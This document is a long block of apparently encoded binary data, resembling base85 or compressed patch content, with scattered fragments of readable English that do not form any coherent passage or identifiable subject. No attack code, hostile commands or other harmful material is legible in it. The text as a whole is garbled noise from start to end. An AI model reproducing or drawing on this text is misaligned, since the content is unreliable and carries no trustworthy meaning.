z*QUN=KaM8xY8*ivKUSSCh9f^}(7gnY0PBy$QHZC$u1@EG`=5*RApZFR7lC#9;nEP# z;Avn#)A6hjpN;2*_%8E&Vl&7f%Cv~*be81ct>0S)-1%O;Jg_;3+#V3jzTKSrw zVEof0p6bOI;?IcQyV3)1PI?%GqoQ5OJEY&Pbj843$-4zd5TDyYjEi^0Ki8y67~dA^ z+`cP)cyvx=rYf}>$m+p$6 zg;Zu&x?pOuCxtkgwJUj_%w{}~zWH9An$P%;q2`|$FA96Rm@%aC8gx%R!x%Pp;WPBF z^aFmLW^nP6WL+gV0-vwcQpOPHKf5bE8H_)GBZ&9&ImQrwE-zyYaeO)BvT%>e8LtZW zbT#9@h2H*74{LVCpI;dqLHs^hyDQxbd=K=-(Ymm%^^7ZaCGVNaUFj_F{g#b$Ab!4Z zv?+NN1w3& zzAN@Iu1n&ndTN6444wy`f%$k5cKTq~2gCmH~;N2J;@&flG!v5t(p>`p#Mx-u>Z*A_CqZg>10Aay#hS;^j}W>XXVev-iv#P{n7#&eT+>M6$aLVP~sMPVNnGcF7F zrJV7a-N`exmhrl<59=9Mg#60g=|!(6{Vc}IAU^-bz;jos;nV7w7Nz9HGe6F7o6XXEbl7_iP*9Bm@*dDzU_!S!YwzZ3QWN87@Bw==E^ z=b@T$O*jv=jQ8wL-p_lv7W{o$21j+_Jl7M4_&b>6{mK4ha0KypxdX%xh8}QqIPCcm z#>YdQ6Xcvq?r8=`-|miomPwsv9EE$Gs^PP>CV7sU*YMw)u8E(KN*uMQNj^hc*6`o8 zsp0?Qfc4@irzUx(avA3(`Kfk{FRMw;c|K!^pYe{2yVNAlW>>}qHR1D@agUJGlX0(5 zr#Iu9YU1;p>Qj@R)t8>Qr?YWX6yp6DLtOtB#sh1Tvp0zG;F|b%8mV8_q_g0?D;jjn z#u50tj?@sw#YsF>!gyGyGo0~=(8Ea9J0@9621gM8tTdLI@C2V_**JpuGwUwK;O~c1 zcQYOrYK~_-A?(#eYQph6_7F#5^pU=MjsV07RRpRK`aP4!9mxXJWGcK!1-cjX@ zSB3a$#%pSlGrX4ZI@Z{kclCP46*b9!!>f`p#Qnd{cw4Byo$-#aCp#H`P?K(u&pYQs z##JG|n(^-ByrpVbZ*7vF!O=${{xRb{q0U~$`@?=7VEkz~Z=W$f9{M~%oo|yKGB|=R zo%sAZO&oSy$$JtNvCPHpmD&1KxCHu(wvgciE`MX}V@x5D&qk`J-?9`?U z3Txxf*+Lva{5f(R;~t^6o?HulS6PfJz%x*Zqh6s-Z^lKn$=UA57~(U03uA~sk8WiQ zalAici02x>cwm@o5aZ%dvxG7DXJo0{7>@|+8p-(1uqVG|JgPSN+#JpLcOm|J#-*WV zhVero{xIWd?7wGhI^!9&$=RF97~<#RF~;y#N1mO>8P5vw*^KAaChwp5j2DIYV#d#e zp8v`i;`izj#t?tUTgv#kkiU#EoW6qk%Nef-eXe9&7Vd93<5jiE_lniE>HM`xPDfk- z?pq<=6XJVuv@Y!P`r33U#J@Mg(LZbBcSY(o#uee5R5E@uoS(NCZw@`Y&3H@bc`M_( zkYCSuKl|@z)&UIh8Nkt}A^$VxJ($EZID&ZXhZr9YYd^yHc$oJDU##ter%{clbdA?Hn(h`M>1ob|S3 z48Lwm|K~H#*_S-0xs2QFOYVDH#t=UX7c}VopC`DPZi=`^zZKgdo%u7 zQZsckMn_=ef8b#0zmL#J^+5kAOeFKZ>WpJM9{DnvN?%yb^B<@$I-K#B1>$@Y&gm4}(#!ma!%Zw5!3!ad#0_}$RYd*nd;I~E*4 ze6F?;hxpv$2;%s5#^8EW?=$`|Jl9o>A%5Pgxpr6bJZA81yOZbib{y>q&*@&q`$L}x z7{fE2SnsD?``Nza=M)?@tV`xx(bLx`!ST1!Sez)KV;&;wP#PdQNM-a!`F}^wUP{bHK+o^u!4@hz{ID+{3 z`Z?o);o3ori|gWNEmcyNE`Fvi-p>+T3R^qzjN|C9Nj$ZLF?@Rs-y4@QURIZU7h293 z;?K?J8NX1MygyekeksJu7(@JCEoZzY^t_fa_%mSYRmKqCuYWME2)$J@exojVZ){); z@$Z^8(kFP|GdP0yJiN&mrd>>*Z!z8!;+x5b`264s@H5aYw)Y#iatfIqwC;(U1aT0UEGbhIx1`7U*gF|56c`~EfK<8{gJT~9DR8TRTF zKYRUM5aP5Wl=~9T_bvS~!W)5SBpWj@@dG*OTX~+25&|3jxh;s@V z_oz?4Q}tv#G}QSOc*mqM)FlpgSsI z5pXdArd={33Z9;zfYS;Jhzdq9?i#_Lp5Ph4xMKvv31>Ldox6bKu&9JZ(E2^~t@n@T z^FG$6y85lq)jd7KntJ&R=3*IMW%cv;hgRn!e7Uv10$*wEufnUXeht3mm#{}|#cS=@ z9e9&<;qyh|I-aT4h4Z$+4_O!TZ-v9T=M)?pwZ@Cqg}KP!o$T1oco#diEAHW$Cpwh~ z{+TB_4ew^<-HFB4eijGy_iViHx-bqUc)xXF4WEaXTKOQn%#JO`L7&lv;jo=|s?l&9 zv=5KKL32G4A7kZX@n@|3S$v`8un1qgF6_5U@TFG146j-j-Ua3H53T$o9Q?oEi9W`c zuM6vB1-{a9TZMmTIe)({RRDf19YFN>J-i;#ZLwpw;=fz{o%o)0sl)yLR)@QFVZVyj zb6u|w<5nL(XniPefWxMqj6*{l{QJ_V5#D%xSkEaU_xpdUU0~ohb+9@BNhZny-ZDK=;rtc-K%Kor-r` zAD(l%t*MpL*rQtDtu};lZjHCG^0s)9wUfcy zZwSvP9q>*YLT;V$)2;p)cwehug7>%b0eI<#aE}{=58e>2_aXQ~D_?{!wquvzOD&&e z_}d%8e7%ELS)Du%ZO@=D@8ciZxjw>|Tb&j7zcz&D?JsfAKC^N|stNe9EhIY7Gx;hU z{4+!JZyfw@L8GtmuQ%wkQuNJ+R1x^{46!}<`W=X!z|U!CVmI)gt-2FS{}bvAA`S+B z>=5Ei@bzaA=Yp?4k2oKEn+u2zbpQPh2j%uXUcEujZ&3}t*6RF%Z`cs-ts8OB`q_ko z`o0+l^>+)tZ9}-HZ^vt`&JKLfhVXf$4&P_(@2BtJ?}-_rb2dlOM(%eTQ}=dbF6!f; za~+5`*cftXh&S07)<7ZNX=7NQoj39~vNme%RT5p7jiJ9?@orY9JATH-@Y$rt##9mb z>o-Fz2LFyCOLSHq^~8%ehU+DZ_YLhwCHN3)e<)sN?U&=AaUO<`2<=BB@i802ePQgz zR1@&yR!DT$SpD%h_}_Fz*W#e}Lf7G-@(DO-E+*n0zdu}0oMJgl#iwly?@4aObJRbD z&;AL1hvk3g##9dc_$Nd+)5>R24*Fh<=<+ceLsg3zE9Q1wnoA_H+{x%MJ_In4fvhqB> z+}d1$e;UR)`V0rHrO$EDGsYJ;qS6ZD__}3f5`<8ET&~w+fIOy}~fAH@% zhG({Mtp816 z&uq9U)dYObg~S~AoD*U#`1W@Y9jIT8Hl?b;ueTba1NHG>ys_0u;pt6by~VT%{@8?A z)+8KTPIRDgE5t$fou)YGnWq^!w6YwC4z%yJ#@kr?ZSkT_VcatKQJcd3;%NLNYo`-A zfZiDr9jN`zIA}ebjDvoMdCDgKE?Fr5g6Kfw+!gO;^}FLeHic`sC+(fNNza^lq67aK zHaZLMWykg=hd!Z?3DLooov71yQ>qC3=ba4EfzDNemu?Ez<{*5q^=k-TX5(DGDOE8% z^re#M!1pm4frH+ejKs%S`B;2{jnzbax}9qV4tn=;2R_r*#w;B4zGyZM`aF9VeF6Wx zln@>G>oJt1}WwKET&Z@DeNAGO>b!$H4~dK_O&JN~oq z65QkWs8@(9t^O+fJ6lWN<3HHBe#Alh-cRK7v#mp-1LaeVgVsO|zS{b}hWg;gBq2J` z`>VA$Xsmw0H(2?`O{oUp&()CVK-bGAe2blHD_$GMC)$Cx+HB7@oB4m%Zw}W{8@y<9 zI5vYHvpMVo$Koe#4(q%V4$8kX4w{#f@l!U3`Ramqv-0knQ#tT!J|Vguc5F|)m~ub1 zSsaw}*?6DLVNCksp!c*Tc>mB&Gyn&!v4ME0wK)hMV|k9nLHoniIOuvGhhMWf?1AI) zoE@9s(=F#2_)KeO7Cy(y@5bkD4s$vW2hH7m_(Pk+cjXV`pfQ<`gX%26PuLR1u;Ui~ z4)zvZzX{QSKJTB1cM9cEXS~anFwR|Z(C-{h#k*|@?RUq|+!Ds^EWCJ2=x-K3*UEe0 zpy!a@c;7AIx-P*>t(`&mC0oL8FfPRh+j)mdeJqsQ+9ukDMRaqU$IjZU%oHZ6SL6^|h7gtUP)UpT8wMdn~{o+Y;{4kK;49 zhVh@ZmG-w<`}loZ^_$h`{;hm>vsL{{hz|VkuA>L=`Jp^ofIqP{jLDOD#n#ZTO8hyi z^E|%L$`|2_w}w70!9nZl75vq$;Tm}jUuxyc@T#rh9+AgEm;k;OAly(fzPBTwg!p5cWO1+RAJ2bz8$d zVm-dm+T4V1+Zy(_?Rf3ha4qb>ciA}X#`jqLI^2QZhofygS8NO8Rv&M$Ev%)6c=K&x zj#}VF+d|(nczdhgVH^KXqHWe+R1x@R ztqjrKYGatgL7$Zp9Ms3#aL{M5+qb2vXNK|`qJsxdX8q6NT;Sh-CPW8%$3B~K@Z+Bl z-CP^{GpcHR~Er_7!IzWX!$U)#d^{}Nwm<*V@TY;Amx{|tWJR@2{_ z(0)R6pl6uX_=as^&)JBB?s1!N(Dl9<2mLN<3%z^Nwx&n}{%0Sz-?S^Grf? zRv!I|gP!?+!+*E2-HGqn7M_ReIJU|5u#XWP=yyJac=PRHd|GTzH35IWDd;$)t zKM|i~btdDW=eL{5dCK>t$Y>^dOn%GJ+&14ceTriRp86>LX$UvqI#JM(bRJGA@o2dvJ6%oq6o=X)V>0{AsBk(h(y&Ssqu-FzF91^6S|!+qpY z9Q50>$M7et{7JlGd)PlK@u#fL)A&NmVG;h4jqN}1#g@+!9P}H2SMb*?|JU)QR%aRh zw&n8<4mWmXk9rs1W94=D-tA$Z`~!E4o&Rk{RLgy#HjGI_yisi^KNtty6C2~H+OVgk z@g`PYh_|W@*GTKyR0G(ZE$Gsan1j>LD(I3BtHAFSd7?YCHnpiMb95LE`pnn{FA8;{ z41Scgc{F}PZMeoe;+<;4I_Zp`TpQl4ox-`mx1SIlX#ID=Pqj8r!@Jdn>!>^4qc-dh zJ@Mk&uy17XzSe#TZJcL06CG$A`g1PudwW83rB*%&ztq|pjD!ETbs_*qMKA3*6?I}ijDtN9MtAC{8no-hl9!!9CW?khEKQl zXW%n!Y-i!1_bRjTIW|^z;}zDgN*wfT{1gs)AN4f;jFmr&FSK!6guiI*yo7_s?H~Bd zmj7ZLRK5hSvV8LRht}VZ@Xu{LzhKN)hWrzv1NCba{+;#fd;AA$=SLiLAN&db*~+W& z;vHd6&hFqn#&6*{q1kVIKmJ>I$JHEnzlZW@XDSD}7ZY8<&hT4;1Mqq~!+h1p58N5v zCmgghRRn%-$qUI zx!`|OI*;hAJeo;;@cVy4bf6q&Q4YRe3DJS}{MkEGRdgXloHeT0MFA$*L3#{83=se0h|%=*Lz;M;FVY;5Hz zViQmf#O7Asg4hat{no@b;PYuq><_-p0mQ-Jj~zn%+RDEn)`DLfJBZH8qvbd#=M^|; zPCsRA!RMSM=D^oUhz>NKpW&cmKgU6H^acJeEB_J)^?fA{dPlU1K7v2Ckk}mj@1|N1 z-B)((*Er~T=9`_VxBnB$-yv3kzsB=K_mkEC@6J@||3Yqqhz>OVKjSr)!)hGV$2B;p z{k8ZyYiB*a!TPun2j#yB-@njt4jS8&aM0(DP8xy5gYrPsKs~Jq-t~w{AFS&2+~>^Kv?V zrX7104!Wlo7Ft$}_x=yUyfIH>*pIH+F(aL_mm#6h1u&)=1r0)G6b5_6z; z<3wlWQ7K~%zRhyt1n|$#6N%2sqd_>R{R?nVZWq!f_+t~I13i0OgoDQaVjT2LcnJ<# z=a=H3b_V01cez7wP#=flpmDnl2aW&bIB5M}frIA#N*r|TRXFIpWjN^f&*iwsf7TvG z1YOI+@sZZYQM*!&M~Asc5u1SS1;pl7-h$Z1%G(l)!1pCXbXFdX!9nYPEDjozt8q}C z<8V;;EQv zlI1g*Ih_*fCqxI@ucmVSg5P_yLQ2qHhDE|dGXq`NQgZ9!#+4I1+ zSx4Ll{@=UpCps&S9>YQV$>TUEhbM5*m_Lbw$}4ctwNr_M*40xugwHtm)4RgwP&Q29=(Et^86{~<4$A*O`1e-l2OP9#{)mIx`3VP|>%TbY zy89mvD*u^&fzLT1I?!6J#zB3l!9n#`s>;h=U}=vl4>}SD zwR6<&R1@&;^a_b5fZu;Q5_49b5FKbO9Zfm-_7kE5J>MRKA8R?Z$3f4f9dOWkJ`M-v zc|7fat|_7ewSNK*8mo>tXlzg1ohkx9M;T%cd^-uzS$T944m!3Ib-<5jLUf=t(-{Yi z&&fEb{1obg)&S9+YI&ZvoBv-=$RSH~py!HiIA|~Gj)Shj(|4yTz}KlHR)f#KhUlz3 zIs*sg(1Y`WpX-F^K-Xzc9JIHeiJxWp6w@a7-`Lj>9cX=KX$RC_q678oZ2Vk1S1%m2 zu6pC3x#)v~^6861_17XjK)DZjKM+Y8jD|Tb;glD_%TU{4*Yi_(KR?|e8%IT zJ^Wf6l*4s6=s9o#4%){i;-DO^$3g4oZ=4H!c|vrczpZowKH1jB%{VB}TX0a{r{JLT zPQ^jFO{3r7=PpllpmW`dgT^q2gN{vb&|Ke!gW9Pfu9_Q^^d^!)P_{*2}PEDk#F zb2#W4e;x<*Wg!mg<02fi_r8GtpXK=?{?hL7Ecy=|l=I6tXsj0FODyMCaL}6nCk|TY zuQDd!|BY%wbfD|>HOgPNu_8_fpU({9Oz^)=okgs&@;uRje!Kn#4$5aKzRYrd69?@} zZ{eVP-sW7Oe+No*pmBHy2i1QU2kj^C;h?oqg@f+tc^tHFypMzC>jNCL#y-SB?RSPI%5w(}D*qJ+jsI`>PCM5w9CWVT zIB1>h!RxG@z2pzRPC|5`Hvhmud)hu6l>dGl^o;Q*4*CrB7Y@2+9S+Jr+QYleJ)zA4 z9F)%iIH*oN9Mpb&9CS?`xF=N%eoxC1bKu7+Av!CM4#Gj>)&K|P(2)Az*IPn#pz=mI zsQ$q?D2K*4Xn#oIptYLDL2D)^pC)@Wr&(eSln>E?=A{q^jbT$9G%w9?P!7#;P=8zC zplhTheu#}vD;zXmt?@&x{$V&M|28=2`KK)oYV&X$blxNIBFimr{(ShD;b-+Pu^*9_fR>$L@b$$X48i$VfiI&evIB4JN#2A8aCrfmodsb&0 zG!7@@ps_jy2esJ+2d&AjIHnqgS6ca1ds0Q<$2LPO27g^-i8;`-0nveecUnd{==Bpf;b!J^mg3LL%rIT!e$_ynuu9{68EtcQ4{gYWe4Yt$I{4qS%^=PM zUuTw&;O8_?bXFd{Lpk_k^F#;Qli#Jy_d-4i(Sh#!Re0WVcpnGN?*}+&?mpyL@V|RW zhz>OGAK{?!{1^wV`A=}r+%3mJbGiZt&EuyyXna1yLF4c_4w}0!@J%*Hn{iN^TX0aD zTXE2_+i+0M+i}qKRf~iE_S6o>8T@;gEHMZE{Y*l1pnQJCLHD5Fa8UcdZs zxi!W?=S|^hJ8z7G+H8V@>KEdmy{joXfN~%@(3m%?OI3m1HxeDFyg3dhp3L>$0tfZ0 zB@X%>-61$=JX_(Qwb~j7wR0#Ax)&ct4&du2L!*S61 zKLQ8cn~HGIxiUEDx2f%LP|ioyCrw`gFX9)#-_Y zp0UrwL2aIegYqfHLF*xlgYrKc2jz1P-n%ZW^FBCetoq`hK9=C1dFh8kc&5V7vp)96 zLE|<6A85y(kAt3LOL0)1gK+SFYc#q52c7Fe9Q15?5e~}#VjQ%tF2O9Gweic5<+8|Sccr6aP2Cu{KvUcX+p#I*C&$ayL z;h;5e9}a5&ejL=_2kKG{!2kP~hQu7KI*Vrsq678iK^(M)JcNVR#>4o0%WVM;%Ha|G zQJbU3aL{^t90&E~3B1DUSK^@Zr*Kf7Pvf9GpTR+E^;sO$=5sh`Z+{*K?bQo$&^lQ} zzreSj5FIGb7jV$^{(m^=d!iSq52{aep!s?UUu?%N!9jEP3J$9CPaKrzt2k&3U&BFT z_&N?Me**{geJKvgZ5a-_hrWq}>b!-6&ighFDt`xm*N%M;2c4@52ep~U-?uzJz(Mb9 zKg2=pe1wDQe~g3X;uCzi)medq`ui#VnU#NzgFaJ#frGwx{ukr`wTOZ5Q%?YetVX<9DF+~e3_Nk5%*d7exkGTXde!0b3YE++y5jt@Yhk6m;*g;5FM!gUpQ!f z9S+(DqP;xJ?M;pDR?s1;kAw0*5C_fCK{)7K4RFxL|gRfshbfCSl8OMU3 zqlD-{<;`)>-q->Mt+$pqs9%TRhuN64p&ih(J<)-_<8F(CuDio=(3l^A7wrw}ErWyV zw8KH`>PQ?k=11Y6^B&E)z<;Jlhz^wVF*xWNJQfEX+a3pvRRFrN2bEufgU0Yu95hFRaZn$J;GpOKp*ZN+%W%-1d^rv(zXC6_{+8pQ^A6jaDg|F> z5b+`pf9vC7qO*plM&qEd8nZW52L4>-#2ong3DJRa8;jp$ zV>k&1l~2Y&eY_b5wRsB;`s_Ic2R*+{#lioboM;*jYUftg75LA3g~TH8|IeKau^9Zd zkR_IZ|C_qy#2o1T9?^mRA3Zr7bnPS@3x3|SLTGT9A@A%ZSH2_p!&0M zP@8w*plfOl4(jjSIB4GQAvf^#6QTq4@m|V7ITPJnYkwXNn(O;;&^35J4$9#H9ESS) z-Gex&&4+MM{fBYTemEZo9lHR3)aK$b9JB@=Cm-lI-oZiVdKU*>@9*KDy{L*~L471TQ2jg(T4V3ypnK&9)c?@ti|9Z(d_+0; zzjc!k9jN}tl!J03I#B&jxW2%bXNbk%Kf7g#4s_n-j05q!_I9og)B#_f5Z!V6!f!v0 z$4|0x>x6@H>x_f0_mgo@o2THQdqfw!tJOah2jzAe4!V}R;o!$P>W+i%WvAmk?AV?- zsK008pm{tC2c5SV2VMJF9F)V^IOx3R;GpaMTpV;i>V<>$z1}#e%|1Bjy6B68axTFy zu{xLHpwE4SanSv12o5@SC=MF8%WzO%F2_OVx&jB?i?75%Yw{`_RHqCtw|0i%pqz)} zu=E7pJ&wRfS^J~$v3Bg$IA|S?!$J96gM-F%JPw+RYw_!B+$P|lzD#7DfS>n-=s2lbyb%YD`QLF+`#0gB@t=f)a+r*R_J^Bs(A?dEgZe%N2i2d7gT`kX4l2JD2j!E) zLGzN}pm#X8;h?_Uj)RV!j)Shp8TcJmekc6}Kko_AfqqLc6Q5!$CRRM}6>fnh+gm-0sIg{dxcg_5DE{G(HdEpgIrZpz`^&3EB^d z4phDX2c7p395nuq;-K+)3@V{R9sB+wxEDOBI9fZoh3MEJ-@&NdEdrCbN3Do8n<_G&^Ww@S6Oa(9MqThanQJZ zfP?b?5C`oQAK{>V^e;-Guze{fJ=zT?>M?Ybs9Q2RgN zpnm;`gWCBC2etoS98~^495jYM*R%bpA%3%Qx8lOjS&>DUe z2leYQ95nBb;}G5h;7{xi>-0!({8_929DM=Z7l;mY-sf@9HL?%~jl&`wv_4V2eEx}po^4*mL2LCj98~{x z9Mt9;IB49K;-E2EhJ(iHO&qjV-@@Ov9Nxh}`}Vu!3%>n4(SgSNJ-o`!mB&H#-^W4o z`vGGMzC0m1Sbi+OtNf61@cAc12g?5=%E9+HAv#cQALF2$Kfys`vV4E4dPT^&hUmcm zou%kg9JE$H!$D*F`TkV#7vb0}F$aDvB}Dh7)me#yj$MU=_Wyt5pwAs&;h>zq#zD`Y z-{7EgeM|e`*FZvapn3TZ4$A*K9JH3cr~VJ&*o5dn_u?OM(6K+^pmq3P9IifxzuWLX z9P~HJe#Sw$RpX$1YH-kcSdD{nSc8M=ti?g=^A~)RjrnGLi`ChRgWB1KgVz6c9Monl z4r+4;4nzHWzh7}so!@X!JHOL+2>UAKxQ^Y4gWBJPgXU#74yv;U2lcm(+`*4|p6Ed1 zwigGT_YWMjmiFPGb-N!2T~mMJpn3m`+??$XLQ$Ro1~B46t#__!nB*(G(GU%s97|vY1-wQ zre{7vd4fADkDB4l!?95dyk)2#9fG$?zp3_H3@9^9TP=u@gveV zf9$;oFS7DX+8vZhe|--5G{Bo=(mT#6I5H~4i!$kE=N4q54BkGIKIL3KPj$dg$fSq+ z@{Ty%er~~u(TO-LKDVGtbP^70e0e7vetn;OI^*3k=|4Y;+DF~-GpwB+IDGpNb$a4w zTAj0SXwr*zig8d5S^V5g`il>uqoZDU-%Pq^uYzNu61>!M7=#bbq=)%qhv1i6J6GVK z+^)po-d_Aa!mh$W=PJYD6@P3w4$65L4nOlb#B4o)ZPU}(G(oi&Qv^S{Y~)OEdSeaP@B_n zxVSfSIs*r_a|aGL`TXz1XIh@K@Vl(dIXI|acjKUA@4=zV2T@UUFFx1unTOwJ<@e*D z`VZis`VZpsGwDk|icX9c;GjB>;E!4P<9LPDuf(6XIty`7-xuMFZ4E5JU$Hv>#Ftt- z%kZj9y0SO(mB;^W;rhWcHz3~j`y&fd*Xww z{t$eO)gOz4^0^wnrd_x;$Kx~GrN8J?&_0@l-_tJa1NY)^`?=&c7l+^bu+Hb<^R0XV z{)p9o6bD_`kKv&4e;j|p>OYBt#;^hh?LU?HLaVxq`tRVd@k92vcX7z}EjT)Q53jN@&*RIj{tEnatMdi^ot^7@yxPuHgKw}o z+KAV-3wzxTd{4V@P1WJf#wt1z@06~1KRPmsI^$i!+(ljSuIcH14MeBnr&{@Gc(?Qe zA4XlGs5^eT)j0$2k-q*z-%d}w*zR9hJewZbmpO{gW*<8zeP3VpsN@`SJ16~WU*>BE z?#@a7uP^&vbS`zyP4Dl^^^)N3-1H$O%zM;}@?PmPOZ>68>y<7m;n=7*<-OChOSm5; zxa*yMr^L6@hxyzG7!hJ2ltNNtd_rvqJ>tpr%QonC{a6j_Q;<>)* z8U1KK!7KWvU+%}eRN_^A(_i`WJns6Y_xtjwgkwuWZdp865^_uMs*;d@991S$Q6>9vH@|26uLBbUy8zANro)?tB~1QoPi18-!mF`Wsz{Uug4w5q^=atBdhV ztY4SX=A~iW65L&Cbq16F;B>F^3fe_kJU2K!>O9s)f>#X*b@D^f?)@R@+s z68g0QUpXY?unMmpV)KZ*Az?j4L-C=uRxiUZvpg@yFSi`7z^}0KE6L$XTerBo(&}7A zo>$qr#dBAMaY%4iX5&zfUmbFb#&I7R7uITh{J?Qxz7E10j0wI}f{KRpgk0;@s#)a#yGk&t=c?#ZzzWD2_E8cBfnBVUB>2}^T z@E+sBn(T?6IWDZ*v+&|^VJ@=xx#PmP^}_pGo&)fKR(?KSIxc-=fBHKJzrfnR5WmQB zxER00`hF=s*xDI_&mR}&XaW9+o%d1vF{|@9UVKd$tL!yg*Vm+r`|})Ij{jxl4u`O( zjb~2Br?0ByGeUj*!13vk{kf+fG(Oz~?te5orjS?!*F7E`lOc8jU%xZ47@m0~>X0Sg zVC6Rwb8vV6g2NKx9O&39D!QAv5d5)=h%bV#^Ad3}_&Q67uY#}h8gZ$WFC)GUzWzJJ zcfr?rk5~mhhdj|)dDMXX!S|(**c^PF7DSIPZ%Op{@PYMXeyn;DJ-*JF#A5JuvP6$BKbzRs%1ek7z~?iOI0gJTPbE6= zxkU}}qEIKw;Kk$9uVk68Ebgui^A%l(Uzh&a&vi6`d7O~`brYY<4#FEuNN?`Xzd>k- zH=2C1VB>4y)g3D2%W@v$}G^UKxv zc@lh9O?XzEjW4JP{e1*qRFl5be};MiUse;Io!-P()P!g3Px0?- z!e@#f@H%T}FWzu<`u6vu!=py4*`HUZ$NRY}#9OaU&-Q*O-eGmf|2Vw+>hR2bI$p9m zJd^jshpZ0g8j6oy9rC#vpS3!S|7?80>hNs;2)=A}$p1}z#p-mc4|xv!6#w4Z`~ly% zI-UQRXV*=5t>v==ud_V&;tkiNpC7;;-e?UuuL;lIhvFU9gxrq9yRQkKWlqOS)}%ih zz%y7s9Q2v)Jbb{KFm40!(lsHsLHH$Bekl&BKNtr+=MTX_pUsEjpwIG`;bW}+SbT!D zGZD|N3FDLCbJv75GY@}YO?r=ChY#ZO*Q9s&&v6Uz3M;R~7hCxfeC3)j7pri$CX8*g zmUKGc8qFT`7{O*b9LJC>GstF_@-x;0*8u|R<=6F4WTd5MtqB1`&;o^`+Ttj z|J|>96Qtm?vN#tdFu7se!uyE^+^vzIa78?KQ;yl8LwmydZb zk-2q&35>) zQGD+}?q%(9IPKD?6?dW7fy$4=J4La-hq5cg4(^C}J~cBh&#?MEa8P+q9CWTTaoDhcW6#22&iRa6F%GJe#dA?yIncjH#a$G4 zy4-&bEr?ycf-pYy@dgDU=Z1Kbf_RA^heEu0LHx-k-ru&sTNT6)TpDGf)_9wO_%n?a zez=t%frIYXMK~PtIHQ~?i1+m@h<`c1pyhs|1GRZ3URDtAJ)h4S<@kt#FrFjvF$HnU z(t?)JSp1rT`1sO-*3o!;LP6Z+dipXEzo8(0;Sk38Mto91d`>Cfr%cAD6vR_XdABeX z&lSW^mio`dcvV51_wD5I56QEXz2zhPlY+R;`*Ivw55iaAUs;{6ap>;LzrkHWJj8o+ z0DeF`c@WPkQ9aI8FV=HTf-kNY*31%oX}$P`LF_Zj@Tz+8CxaNeR&oyO~t*u55mh* z@i6b@_=Hq^tM`fcq*VNv_sMuJ6)*Fi;B!;)w->Ya=Hc^G@h)G!0Ix{J%`Rd5D{+^y z{L_qKI_`K0buxITbllH-XS_HakM^F$&rQeEz4yZVrsGQQC3tB%e%JdTd~iDc(fbg* zEFJIh=PJj?q~oTSQa%>XrQ?&lC-~xY+~4~Wyeb`!y_B5u_{wxV%a^ahtJCpw-fQp; z>G%Wh8}Zt7T=3YZ_O1za4i? z!#yZ!#$MVi)M!b1ZE#uC%l2jHdF&LI4vmhs|6Jv_8if`i7PAKw4)Fkb`k(!;}C48n8PPJ+85to$W6*Z76HLvV`)oc-KTe$3^8_cjfU< zLwQ~*$D!V3+zW=4$2suj3DJSdhvOs4Ws%>$YuO4 z;#wS3|2lkvl~2S$Ib4r}+WA{~TnzqPSz-=+I|J2VXy$j8C!hsW_;7 z8V<_gRy=1pB={5M@$}1hu6UAjf%;CYg4Zr9I3`bYRvuO0p!$_K_&U*3IH>$-{N?ia z2jBO_IMlx!UqbtDSo=f=zF*N&e3|9;W_er&-RVm?F$X^Xgy^h1dJ6{~`!)`~PV^4` zuJ!#ryvoY+_=n{@ixzZ^K4NTP#N~`FG52}MIUzbwU%tRsT3=S-F#Ym^j?uqy(3pRP zgZle54!+Ik8ys}5Z}IP}&i6Q|{U6HX3E+>NNX&t+pAemuM?d1AHh&^#@O8382RiS6 zaZo=0!$Ix;j8|Ko8XPqKt8vh=Yj9BeYsul4@_6y(1;-{t2b#Ne<#ACoOvh%34s>k6 zu(%lNalK@TIq>xpqO;ofGFO0AHt)SY_pTqOeu5q zXxyG)e4Y&Dd7=XyTY-bFg-Y^yDwHQg2kP(Bv=8-IOEpCIjFmr&gW7)%Uu6A#0e{Kr z`~wH&^YXB`2>f|7#9~k%iSA3wXC*nnQCF~Lh!x=LR1)1P+SJ}coqvb&gy=wh`3nEW z&igIxgD=k#%fKI7PRxOCGa zyr6y&E4G9>mBecB`P2}dl}B4S7x?moSiQ~0ndm_M+K$&*zxLwb=OX$82j#F22hG=h z=K8O2Y@X@lRwu?m_l_nw)brzCh+jV< z+)w|8gUWBfLHFDnN5oa&kIfSuoO=boGyFRax)#yKF$z=Ryt8)u} zhqZqv^})B95FMzUnK&rVS@?V_UqJmw!m$a_f$BesKVf-3iC5aOPvM~apT?iDF?kk$ z-pUu^pmrAF@7l5N;qP1d2l&U9^C#p0zJ5YF|btFsZ`Wch5SeemZ^h_2S^?7)8?5kGiE!Ew<}+>MCe z_4{o!5+4~izce~3ibiq29u+PtxgF((E5Hp4th6IieF?oT#OI3 zJTJp9w>Gc9LH)fF2ep3{UN$OjaV6tWjt{f?!|@TL!h4UA_!#Q@_a0+$(EF&XanSpy zariaX-|_ghR(>508ixruD2ItSXuht;Zx|Jyd?nAQH{z3Q%qQbhtzXk{(6P7TIXgDN zXIlHS@VR#0c{nJ~`*2VW_v7{B7&|J2>cl;JbL0<&eigIlPa9 z^85h*(DL~RUv6!#z(2KfeTIY1^*R18JN8R_rM0;V|M#fy&h0B4)c3FP?=80<@M;^+ z8hnejvlXwkc6Q)cI)1~itNJ+n=gNX3qXS3BIjG~j3DH5btH|LX96Dab zI&UyKZUX)ALShk&rcQ=fVda&?D)8;(i4GFqPDAR0Z!<$IhDT{9OLXA#j2hwKkBttd zJ}7^pYdkt$dKI4qQaGqDX&ls-7ze%2Z-RsB7viA4G{swujyGP#zS#q1b$vR6T4Y? zcVZ9l=jur;w(=~oKlrsbfLIE?kAsM1;M*)G=D_Ec5a)u=VIJ`T@O2&}&IiA)77({s z`Bq{r_6XMZc9Uof_u{fAf#exJz_tH7_H zJkeQs)DQ1(>wEwXx<&@#;P<`ge7w}!AB0~pI=;P}cP1C&7lnMHi*fMnN0;D(t$YX$ znwOzCX#cqk2VK9H;~vI2x`J^7KPCy$fv&+TDF=-w(RqCRtC(x>>$8y99Q;_dAhv=< zF2jdeKEv@5q0ML{?SpSK@e%yIN27314x<@c@ME4Kwg=y@4#Y0t+wV&3 z2L9OYL^sCHJC^akCe+Up9cXOFbFEz)uA>^_9`J3}5uKGs*WvJSIqxJV;1ezX>+u`I zvC-dg(0JZNU%>Z0Av)Mm&V6ta>jC^2W{J+@`#70?f%Z3|179b)nQIgLx~e2rfxpM) ziPctKLv*0N+`@UM*c=fZ_&qS1ii5^~8Vt^j-74_*^TWhu=Rsd>{P)K7Vw4{4lPI1@!kZuFqiw9kN6RlZLTBJdVS2 z!x+ye@QTr~{~cgdi9aKAS6v^zYs=&A`tbc!^f&wl z`wr_y#{b6f{Y8RT-59>($m8zD@Eu3=clOo4+jksz?xyg4P;wLVbyKK61D|B+D6h 